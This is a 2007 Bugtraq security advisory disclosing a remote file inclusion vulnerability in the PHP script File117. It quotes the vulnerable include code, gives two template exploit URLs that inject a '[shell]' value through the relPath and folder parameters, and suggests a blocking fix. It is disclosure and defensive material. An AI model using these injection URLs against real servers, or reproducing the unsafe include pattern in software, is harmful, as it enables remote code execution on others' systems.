bugtraq - File117 Remote File Inclusion

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Date: 22 Apr 2007 18:50:14 -0000
From: InyeXion@...il.com
To: bugtraq@...urityfocus.com
Subject: File117 Remote File Inclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         File117 Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: File117
                          Download..: http://www.sinato.com/jmuffin/upload/file117.zip
                          Risk ..............: high                              
                          Found by ..........: InyeXion                                                  
                          Contact ...........: InyeXion[at]gmail.com    
                          Web .............: Www.InyeXion.com.ar                               
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                                
/html/php/detail.php

 Vulnerable Code:

<?php
include_once("phpInterface.php");
$$cmname=$cm;
include($relPath.$folder."/".$templatename);
?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/html/php/detail.php?relPath=[shell]? 
    http://[target]/html/php/detail.php?folder=[shell]? 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

if((isset($_REQUEST['relPath'])  || isset($_GET['relPath']) || isset($_POST['relPath'])) && !defined("relPath")){
die("denied access"); }

AND

if((isset($_REQUEST['folder'])  || isset($_GET['folder']) || isset($_POST['folder'])) && !defined("folder")){
die("denied access"); }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~